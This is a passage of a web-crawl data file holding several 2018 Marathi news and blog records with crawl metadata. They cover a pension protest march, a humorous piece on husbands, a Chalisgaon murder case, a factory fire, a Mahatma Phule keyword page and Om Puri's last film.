सुरक्षा यंत्रणांना सतर्कता बाळगण्याचे आदेश देण्यात आले आहेत. मुख्यमंत्री देवेंद्र फडणवीस, त्यांच्या पत्नी अमृता फडणवीस आणि कुटुंबीयांच्या सुरक्षेत वाढ करण्यात आली आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00153.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/old-pension-demand-maharashtra-old-pension-organisation-will-conduct-march-from-shivneri-to-Maharashtra-ministry-on-2nd-October/", "date_download": "2018-09-25T17:08:09Z", "digest": "sha1:TMLJUKMLBV66CUBGNHZV45W5ANDO6KC5", "length": 9180, "nlines": 38, "source_domain": "www.pudhari.news", "title": " गांधी जयंतीला शिवनेरी ते मुंबई हजारो कर्मचारी काढणार पायी पेंशनदिंडी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › गांधी जयंतीला शिवनेरी ते मुंबई हजारो कर्मचारी काढणार पायी पेंशनदिंडी\nगांधी जयंतीला शिवनेरी ते मुंबई हजारो कर्मचारी काढणार पायी पेंशनदिंडी\nतीन दिवस संप करूनही समाधानकारक तोडगा निघत नसल्याने महाराष्ट्र राज्य जुनी पेंन्शन हक्क संघटना आक्रमक झाली आहे. संघटनेने आता २ ऑक्टोबर गांधी जयंती दिवशी छत्रपती शिवाजी महाराज यांचे जन्मस्थळ शिवनेरी ते मंत्रालय आसा लॉगमार्च आयोजित करणार आहे. यासंदर्भात महाराष्ट्रातील सर्व तालुक्यातून मुख्यमंत्री देवेंद्र फडणवीस यांना तहसीलदार व गटविकास अधिकारी यांच्या मार्फत निवेदन देण्यात येणार आहे.\nमहाराष्ट्र शासनाने दि. ३१ ऑक्टोबर २००५ च्या अधिसूचने नुसार शासनाच्या सेवेत दि. १ नोव्हेंबर २००५ रोजी व नंतर नियुक्त होणाऱ्या कर्मचाऱ्यांना म.रा.ना.से.अधि. १९८२ व १९८४ अंतर्गत निवृत्तिवेतन योजना बंद करून परिभाषित अंशदायी पेन्शन योजना (DCPS/NPS) सुरू केली आहे. सदर योजनेचे स्वरूप व अंमलबजावणी पाहता या योजनेतून जुन्या पेंन्शन प्रमाणे सुनिश्चित निवृत्तिवेतन मिळत नसल्याने कर्मचाऱ्यांचे मृत्यू व सेवानिवृत्ती नंतरचे भविष्य असुरक्षित झाले आहे. त्यामुळे या नव्या अंशदायी पेंशन योजने विषयी राज्यातील हजारो कर्मचाऱ्यामध्ये असंतोष निर्माण झाला आहे. सदर अंशदायी पेंशन योजना (DCPS/NPS) बंद करून म.ना.से.अधि. १९८२ व ८४ ची जुनीच पेंन्शन योजना लागू करावी या मागणीसाठी आमच्या संघटनेने अनेकदा हजारो कर्मचाऱ्यासह धरणे, उपोषणे, मोर्चे, आंदोलने केले आहेत.\nदि. १६ मार्च २०१६ च्या मंत्रालयावरील धरणे आंदोलनात वित्त राज्यमंत्री दिपक केसरकर यांनी स्वतः येऊन जाहीरपणे आश्वासन दिले होते. तसेच मुख्यमंत्र्यांनीही १८ डिसेंबर २०१७ च्या संघटनेच्या मुंडन आक्रोश मोर्चात संघटनेच्या शिष्टमंडळाला स्वतः पाचारण करून सदर DCPS/NPS धारक कर्मचाऱ्यांच्या मृत्यूनंतर त्यांना म.ना.से.अधि. १९८२ व ८४ अंतर्गत कुटुंबनिवृत्तीवेतन योजनेचा तसेच सर्व कर्मचाऱ्यांना मृत्यू व सेवा निवृत्ती नंतर उपदानचा(गृज्युटी) लाभ देण्याचे आश्वासन दिले होते. मात्र अजूनही मंत्री महोदयांनी सदर लाभ देण्याच्या आश्वासनाची पूर्तता केली नाही उलट जुन्या पेन्शनच्या मागणीकडे जाणीवपूर्वक दुर्लक्ष करीत आहेत. त्यामुळे राज्यातील २००५ नंतरच्या लाखो कर्मचाऱ्यामधील असंतोष अधिक तीव्र झाल्याची माहिती जिल्हा कार्याध्यक्ष किरण काळे यांनी दिली.\nया सर्व बाबींमुळे आमच्या संघटनेच्या वतीने दि. २ ऑक्टोबर २०१८ गांधीजयंतीच्या पर्वावर महाराष्ट्रातील लाखो कर्मचारी शिवनेरी पासून मुंबई मंत्रालयावर पेंन्शनदिंडी करणार आहेत व जुन्या पेन्शनच्या मागणीची पूर्तता न झाल्यास तिथेच मंत्रालयासमोर बेमुदत सामूहिक उपोषण करणार आहेत. या पेंशनदिंडी व सामूहिक उपोषणात आपल्या सोलापूर जिल्ह्यासह राज्यातील लाखो कर्मचारी सहभागी होणार आहेत. म्हणून शासनाने त्वरित हा प्रश्न निकाली काढावा असा विनंती वजा इशारा देण्यात आला.\nयावेळी संघटनेचे जिल्हा अध्यक्ष नवनाथ धांडोरे, कार्याध्यक्ष किरण काळे, तालुका अध्यक्ष अमोल शिंदे, कोषाध्यक्ष गणेश गोखले, आशपाक मुलाणी संदीप जाधव, अनुप जाधवर, सुनिल कुटे उपस्थित होते.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00153.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.tinystep.in/blog/ptichya-ya-goshti-tumhala-lagannatar-kaltat", "date_download": "2018-09-25T17:49:27Z", "digest": "sha1:XPGA4LFXWF33USO2JUOC4QEUT7RZHDPW", "length": 11340, "nlines": 249, "source_domain": "www.tinystep.in", "title": "पतीच्या बाबतीतल्या या गोष्टी तुम्हांला लग्नानंतर कळतात. - Tinystep", "raw_content": "\nपतीच्या बाबतीतल्या या गोष्टी तुम्हांला लग्नानंतर कळतात.\nलग्नाआधी तुम्हांला तुमच्या होणाऱ्या पतीबाबत सगळ्या गोष्टी माहिती असतील पण या गोष्टी तुम्हांला लग्नानंतरच कळणार आहेत. त्यामुळे त्या गोष्टींना सामोरे जायची तुम्ही तयार ठेवा.\n१. घर आवरलेले असले की त्यांना अस्वस्थ वाटते\nघर स्वच्छ असले की त्यांना अस्वस्थ वाटू लागते आणि ते घरभर पसारा करून ठेवतात. जरा घर आवरलं की त्यांची एखादी वस्तू हरवलीच म्हणून समाज आणि मग ती वस्तू शोधायला ते सगळ्या घरभर पसारा करतील.\n२. पंख सतत चालू असला कि त्यांना बरं वाटतं\nउन्हाळा असो किंवा थंडी तापमान कितीही असो त्यांना सतत डोक्यावर पंखा चालू असल्याशिवाय झोप येत नाही. मग उन्हाळ्यात एसी चालू केला असलातरी डोक्यावर पंखा चालू असलाच पाहिजे.\n३. दरवाजा बंद करणे म्हणजे मूर्खपणा\nमग तो बाथरूमचा दरवाजा असो किंवा गॅलरीचा असो किंवा कपड्याच्या कपाटाच्या कोणताही दरवाजा उघडलं कि तो परत नीट बंद करून ठेवणे म्हणजे मूर्खपणा आहे असं त्यांचं ठाम मत असतं.\n४. ते खूप भावुक असतात.\nजरी ते फार कणखर आणि प्रत्येक कठीण प्रसंगाला सर्मथपणे तोंड देणारे असले तरी जर कुटूंबातील व्यक्तीला किंवा तुम्हाला थोडा जरी कसला त्रास झालं तर ते भावुक होतात. तसेच एखादा भावुक सिनेमा बघताना देखील कधीतरी त्याच्या डोळ्यांत तुम्हाला नक्कीच पाणी दिसेल.\n५. ते किती आळशी आहेत\nएखादी क्रिकेट मॅच किंवा टीव्ही शो बघण्यासाठी आणि टीम ला प्रोहत्सान देण्यासाठी त्यांच्याकडे वेळा नि ताकद दोन्ही असते.. फक्त पाण्याचा ग्लास आणि जेवण झाल्यावर स्वतःचे ताट धुवायला टाकणे म्हणजे त्यांना संकट वाटते\n६. वस्तू जागच्या जागी ठेवणे म्हणजे चुकीची गोष्ट करणे\nटूथब्रशला पेस्ट लावत लावत हॉल मध्ये येतील आणि पेस्ट हॉल मध्ये ठेवून दात घासायला निघून जातील. हेच गाडीच्या किल्लीच्या आणि शेव्हिंग क्रीमच्या बाबतीत. अंग पुसून झालेला ओला टॉवेल नेहमी पलंगावरच टाकतील. वस्तू जागच्या जागी ठेवणे हे मूर्खपणाचा लक्षण आहे. आणि चुकून वस्तू जागेवर ठेवली तर त्यांना चुकल्यासारखं वाटतं.\nम्हणूनच लग्न म्हणजे एका मोठ्या मुलाला दत्तक घेणं म्हणतात ते काही उगाच नाही.\nमुलतानी मातीचे त्वचेवर आणि समस्येनुसार फायदे\nजाणून घ्या अपुऱ्या दिवसाचे (प्रिमॅच्युअर)बाळ का जन्माला येते \nतुम्हांला नखं खाण्याची/ कुरतडण्याची सवय आहे मग हे नक्कीच वाचा\nतिने बाळाचा पहिलं रडणं ऐकला... आणि ती कोमातून बाहेर आली\nमग आता... गोड बातमी कधी या प्रश्नाला कशी मजेशीर उत्तरे कश्या द्याल\nयशस्वी मातृत्वसाठी या ६ सवयी लावून घेणे आवश्यक आहे.\nचेहऱ्याच्या सौंदर्यसाठी ५ आश्चर्यचकित करणाऱ्या विचित्र युक्त्या\nनवजात बाळाच्या त्वचेविषयक या गोष्टी माहिती असणे आवश्यक असते.\nअशी करा कोबीची भजी\nतुमच्या बाळासाठी नाचणीचं सत्व\nगरोदरपणात असताना ह्या लसी घ्या. . .\nलहान बाळाचे दात कधी यायला सुरवात होते..आणि लहान मुलांचा दाताविषयक सर्व प्रश्नांची उत्तरे\nअशी करा कांद्याची कुरकुरीत खेकडा भजी\nबाळाला सहा महिने झाल्यावर....\nहे सहा काही मजेदार प्रश्न लहान मुले नक्की विचारातात ...जाणून घ्या त्यांची उत्तरे कशी द्यायची\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00153.warc.wet.gz", "language": "mr", "language_score": 0.73, "bucket": "all"} {"url": "http://www.esakal.com/uttar-maharashtra/murder-case-chalisgaon-129016", "date_download": "2018-09-25T17:49:45Z", "digest": "sha1:QWKZ2DUDXWN6V5WX3LNBJWXVS2JTMKJ5", "length": 13930, "nlines": 178, "source_domain": "www.esakal.com", "title": "murder case in Chalisgaon टोमणा मारत असल्याने वहिनीला संपवले | eSakal", "raw_content": "\nटोमणा मारत असल्याने वहिनीला संपवले\nरविवार, 8 जुलै 2018\nअसे होते खुनाचे कारण\nप्रियंकाचे लग्न 2013 मध्ये झाले. त्यानंतर दीर प्रवीण व प्रियंका हे बहीण भावासारखे राहायचे असे त्यांच्या कुटुंबातील सदस्य सांगत आहेत. प्रत्यक्षात, प्रियंका प्रवीणला पाहून नेहमी वाकडे तिकडे बोलायची. त्याला पाहून टोमणा मारायची. ज्यावेळी त्यांच्यात काही वाद झाले, तर प्रवीणची आई प्रवीणलाच बोलायची. लग्न झाल्यापासून ती नेहमी टोमणा मारून इतरांसमोर अपमान करीत असल्यानेच मी वहिनी प्रियंकाला संपवले, अशी रडत रडत कबुली प्रवीणने पोलिसांना दिली.\nमेहुणबारे (ता. चाळीसगाव) : \"वहिनी सारखी सारखी टोमणा मारायची, कोणासमोरही अपमान करायची त्यामुळेच वहिनीचा जीव घेतला', अशी कबुली दीर प्रवीण याने पोलिसांना दिली. दरम्यान, या घटनेतील दोन्ही फरार महिलांना आज पोलिसांनी एकीला चिखली येथून, तर दुसरीला चाळीसगावमधून अटक केली.\nकुंझर (ता. चाळीसगाव) येथील विवाहिता प्रियंका रामचरण बैरागी (वय 27) हिने 4 जुलैला सकाळी सातच्यापूर्वी सासरी कुंझरला गळफास घेऊन आत्महत्या केली होती. याप्रकरणी अवघ्या तीनच तासात संशयित आरोपी प्रवीण बैरागीने पोलिसांना खुनाची कबुली दिली. मात्र, त्याने खून का केला हे पोलिसांना सांगितलेले नव्हते.\nअसे होते खुनाचे कारण\nप्रियंकाचे लग्न 2013 मध्ये झाले. त्यानंतर दीर प्रवीण व प्रियंका हे बहीण भावासारखे राहायचे असे त्यांच्या कुटुंबातील सदस्य सांगत आहेत. प्रत्यक्षात, प्रियंका प्रवीणला पाहून नेहमी वाकडे तिकडे बोलायची. त्याला पाहून टोमणा मारायची. ज्यावेळी त्यांच्यात काही वाद झाले, तर प्रवीणची आई प्रवीणलाच बोलायची. लग्न झाल्यापासून ती नेहमी टोमणा मारून इतरांसमोर अपमान करीत असल्यानेच मी वहिनी प्रियंकाला संपवले, अशी रडत रडत कबुली प्रवीणने पोलिसांना दिली.\nप्रियंकाच्या मृत्यूनंतर तिची सासू लीलाबाई बैरागी व आजेसासू सुमनबाई बैरागी (सासूची आई, रा. चिंचगव्हाण) या दोघींनाही प्रियकांच्या अंत्यविधीच्या दिवशी प्रियंकाच्या माहेरच्या लोकांनी मारले होते. तेव्हापासून त्या दोघेही फरार होत्या. घटनेचे तपासाधिकारी तथा सहाय्यक पोलिस निरीक्षक दिलीप शिरसाठ यांनी तपासाची चक्रे फिरवली. प्रियंकाची सासू लीलाबाई बैरागी हिला चाळीसगावातून तर आजेसासू सुमनबाई बैरागी हिला चिखली (ता. बुलडाणा) येथून ताब्यात घेतले.\nप्रियंकाच्या खूनप्रकरणी तिचा दीर प्रवीण बैरागी याची पोलिस कोठडी संपल्याने त्याला चाळीसगाव न्यायालयात हजर करण्यात आले. त्याने पोलिस तपासात खुनाची कबुली दिल्याने न्यायालयाने त्याची जिल्हा कारागृहात जळगावला रवानगी केली आहे, अशी माहिती दिलीप शिरसाठ यांनी दिली.\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nधमकीचा निरोप खुनाचा वाटून धावाधाव\nसंगमेश्वर - खुनाचा गुन्हा दाखल असलेल्या एकाने भावाला तुझे दोन्ही पाय तोडून जंगलात टाकतो, अशी धमकी दिली. घाबरलेल्या त्याच्या पत्नीने आपल्या...\n...तर युवक महोत्सव उधळून लावू\nऔरंगाबाद : कुलगुरूंच्या दालनात आंदोलन करणाऱ्या अभाविपच्या कार्यकर्त्यांवर कारवाई केली नाही, तर बुधवारपासून (ता. 26) सुरू होणारा केंद्रीय युवक महोत्सव...\nकाँग्रेस पक्ष देशावरचे ओझे : पंतप्रधान\nनवी दिल्ली : ''काँग्रेस पक्ष देशात आघाडी करण्यास अपयशी ठरला आहे. त्यामुळेच ते भारताबाहेरुन पाठिंब्याकडे लक्ष देत आहेत. काँग्रेस पक्ष देशावरचे ओझे आहे...\nडिजे वाजविल्याप्रकरणी भोकरमध्ये 20 जणांवर गुन्हे\nनांदेड : गणरायाला निरोप देणाऱ्या अतिउत्साही गणेशमंडळांवर डीजे वाजविल्याप्रकरणी भोकर ठाण्यात गुन्हे दाखल करण्यात आले. तेलंगणातील डीजे चालक व...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00155.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Aurangabad/Fire-to-Ajay-Agencies-in-aurngabad/", "date_download": "2018-09-25T17:38:27Z", "digest": "sha1:IYDAQHHW4WUFKWAVZMOBJDFLWJL7FEYF", "length": 6080, "nlines": 35, "source_domain": "www.pudhari.news", "title": " अजय एजन्सीला आग; कामगार होरपळला | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Aurangabad › अजय एजन्सीला आग; कामगार होरपळला\nअजय एजन्सीला आग; कामगार होरपळला\nवाळूज महानगर : प्रतिनिधी\nवाळूज औद्योगिक क्षेत्रात गुरुवारी अजय एजन्सी या कंपनीला लागलेल्या आगीत एका वृद्धाचा होरपळून मृत्यू झाल्याची घटना ताजी असताना आज दुसर्‍या दिवशीही बी सेक्टरमधील एका कंपनीला लागलेल्या आगीमुळे एक कामगार भाजून जखमी झाला. आग कशामुळे लागली याचे कारण मात्र समजू शकले नाही.\nया विषयी अधिक माहिती अशी की, अभय चंपालाल फिरोदिया यांची वाळूज येथील प्लॉट नंबर बी-67/2 मध्ये अभय एजन्सी या नावाने कंपनी असून या कंपनीतून फर्न्युस ऑईलचे इतरत्र वितरित केले जाते. शुक्रवारी कंपनीला सुटी होती, तर खंडू गवळी व मोहन मुंढे हे दोघे कामगार कंपनीत होते. सायंकाळी पाच वाजेच्या सुमारास कंपनीच्या मागच्या बाजूने आग लागल्याचे समजताच या कामगारांनी पाण्याचा मारा करून आग विझविण्याचा प्रयत्न केला. मात्र आगीने रौद्ररूप धारण करून कंपनीच्या आवारात असलेल्या ऑईलच्या हजारो लिटर क्षमता असलेल्या दोन टँकला विळखा घातल्याने टँकमधील ऑईलने पेट घेतला. यामुळे भडका उडाल्याने लांबपर्यंत आगीचे लोळ दिसून येत होते. आग विझविण्याच्या प्रयत्नात मोहन मुंढे हा कामगार भाजून जखमी झाला. त्यास उपचारासाठी शहरातील एका खासगी दवाखान्यात दाखल करण्यात आले.\nदरम्यान, आगीची माहिती मिळताच वाळूज एमआयडीसीचे दोन व बजाज कंपनीचा एक अशा तीन बंबांच्या साहाय्याने तासाभरानंतर आगीवर नियंत्रण मिळविण्यात यश आले. यासाठी अग्निशामक अधिकारी के. ए. डोंगरे, आर. एस. फुलारे, एस. आर. गायकवाड, ए. ए. चौधरी, बी. एन. राठोड, आर. ए. चौधरी, पी. एम. कोलते, सी. आर. राठोड, ए. जे. गोसावी आदींनी परिश्रम घेतले. कंपनीच्या इमारतीवर कुठल्याही प्रकारचा बोर्ड नसल्यामुळे कंपनी मालकास कंपनीचे नाव आदी माहिती विचारली असता त्यांनी माहिती देण्यास टाळले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00155.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/mahatma.jyotiba.phule/word", "date_download": "2018-09-25T17:52:35Z", "digest": "sha1:QVGUNBBIEGR75AXKT4HQ7FBIIIFGFEG3", "length": 15080, "nlines": 117, "source_domain": "www.transliteral.org", "title": "Keyword - mahatma jyotiba phule", "raw_content": "\nपुष्पे पत्रे, किती काळाने शिळी ( निर्माल्य ) होतात \nमहात्मा फुले - शेतकर्‍याचा असूड\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान १\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान २\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान ३\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान ४\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान ५\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान ६\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान ७\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान ८\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान ९\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान १०\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान ११\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान १२\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान १३\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान १४\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान १५\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान १६\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान १७\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान १८\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nशेतकर्‍याचा असूड - पान १९\nशूद्र शेतकरी त्या काळी इतक्या दैन्यवाण्या स्थितीस येऊन पोहोचण्याची धर्म व राज्यसंबंधी अनेक कारणे आहेत, त्यांपैकी थोड्या बहुतांचे मार्मिक विवेचन या ग्..\nस्त्री. १ ( संगीत ) रागाचा आरोह व अवरोह ह्या मधील स्वरसंख्येवरून रागाचे जे प्रकार होतात ते प्रत्येकीं . त्यांची संख्या ९ आहे . त्यांचीं नांवें - संपूर्ण - संपूर्ण , संपूर्ण - षाडव , संपूर्ण - औडुव , षाडव , औडुव - औडुव २ ( संगीत ) न्यास , अंश , ग्रह , इत्यादि स्वर , तसेंच ताल , कला , मार्ग हे ठराविक असून अमुक एक रस उत्पन्न व्हावा अशी योजना ज्या एखाद्या नियमबध्द स्वररचनेंत असते ती . हिचे प्रकार दोन - शुध्द जाति व विकृत जाति . ३ ( संगीत ) मात्रानियमावरून तालांचे झालेले प्रकार प्रत्येकीं . ह्या जाती पांच आहेत :- चतुरस्त्र , त्र्यस्त्र , खंड , मिश्र व संकीर्ण . [ सं . जाति ]\nस्त्री. १ जात ; प्रकार ; वर्ग . २ वंश ; कुळ ; बीज . ३ वर्ण . जात पहा . ४ ( गणित ) अंश व छेद यांचें एकीकरण . उदा० विशेष - शेष जाति . ५ ( साहित्य ) एक अलंकार . संस्कृत आणि प्राकृत या दोहोंतहि सारखेच वाचले जातील अशी अक्षरांची रचना . ६ छंदांचा एक वर्ग . हा मात्रासंख्याक असून , षण्मात्रिक तालाचा व अष्टमात्रिक तालाचा असे याचे दोन प्रकार आहेत . [ सं . ]\n०दंड पु. १ जातीनें लादलेला कर . २ जातिबहिष्कृत माणसानें शुध्द झाल्यावर जातीला द्यावयाचा दंड .\n०पक्ष पु. समुदायरीत्या जात , वर्ग , वंश ( सबंध जात एक धरून विचार करतांना ). याच्या उलट व्यक्ति पक्ष = एकटा माणूस .\nयज्ञोपवीत ( जानवे ) म्हणजे काय त्याला किती दोरे असतात त्याला किती दोरे असतात त्याच्या गाठीला काय म्हणतात\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00155.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/444990", "date_download": "2018-09-25T17:15:12Z", "digest": "sha1:FU4I4MIWTZVGBNV7LPGHGSPSKCMTFJDB", "length": 4386, "nlines": 40, "source_domain": "www.tarunbharat.com", "title": "सलमान खानचा ‘टय़ुबलाइट’ठरला ओम पुरींचा शेवटचा चित्रपट - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » मनोरंजन » सलमान खानचा ‘टय़ुबलाइट’ठरला ओम पुरींचा शेवटचा चित्रपट\nसलमान खानचा ‘टय़ुबलाइट’ठरला ओम पुरींचा शेवटचा चित्रपट\nऑनलाईन टीम / मुबंई :\nअभिनय क्षेत्रातील एका दिग्गज कलाकार म्हणून नावारूपास आलेल्या ओम पुरी यांनी आजवर त्यांच्या चित्रपटांतून अभिनयाचा दर्जेदार नमुना सादर केला.\n6 जानेवारीला सकाळी ह्रदयवाकराच्या तीव्र झटक्याने ओम पुरी यांचे निधन झाले. सलमान खानची मुख्य भूमिका असलेला ‘टय़ुबलाइट’ हा ओम पुरी यांच्या निधनानंतर अखेरचा चित्रपट ठरला आहे.अभिनेता सलमान खाननेही ‘टय़ुबलाइट’ या चित्रपटाच्या सेटवरील चित्रिकरणादरम्यान एक फोटो सोशल मिडियावर शेअर करत त्यांना श्रध्दांजली वाहिली. त्यानंतर 